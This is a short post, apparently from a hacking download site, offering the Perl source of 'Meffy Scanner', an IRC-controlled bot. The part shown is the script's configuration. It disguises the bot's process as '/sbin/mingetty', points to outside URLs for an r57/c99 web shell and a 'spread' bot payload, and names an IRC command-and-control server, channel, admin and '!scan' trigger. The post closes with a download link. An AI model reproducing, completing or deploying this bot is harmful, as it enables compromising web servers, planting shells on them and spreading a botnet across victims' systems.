Meffy Scanner

***************************
AUTOR: Contrex
DATE :Desember 2009
LINGUAGE: perl (.pl)
**************************

#################################
#!/usr/bin/perl ##
# Meffy ~ RoScan.Net ##
# Author: PRIV8 ##
# RoScan-Team production ##
# We Are R0X ##
#################################
use MIME::Base64;



$process = "/sbin/mingetty"; ## process
my $printcmd = "http://www.vagina.com/sh.txt"; ## r57;c99 shell
my $id = "http://www.vagina.com/id.txt"; ## ID is private
my $spread = "http://www.vagina.com/pbotz.txt"; ## spread
my $ircserver = "irc.indonesiancoder.us" ; ## ur irc server
my $start = "!scan"; ## command to start scan
my $port = "6667"; ## irc server port
my $nickname = "[Scan][" . int( rand(99) ) . "]"; ## nickname
my $admin = "arianom"; ## msg prv
my $channel = "#kill-9"; ## chan
my $chanres = "#kill-9"; ## channel print result
my $verz = "uname -a\n";

Download di Sini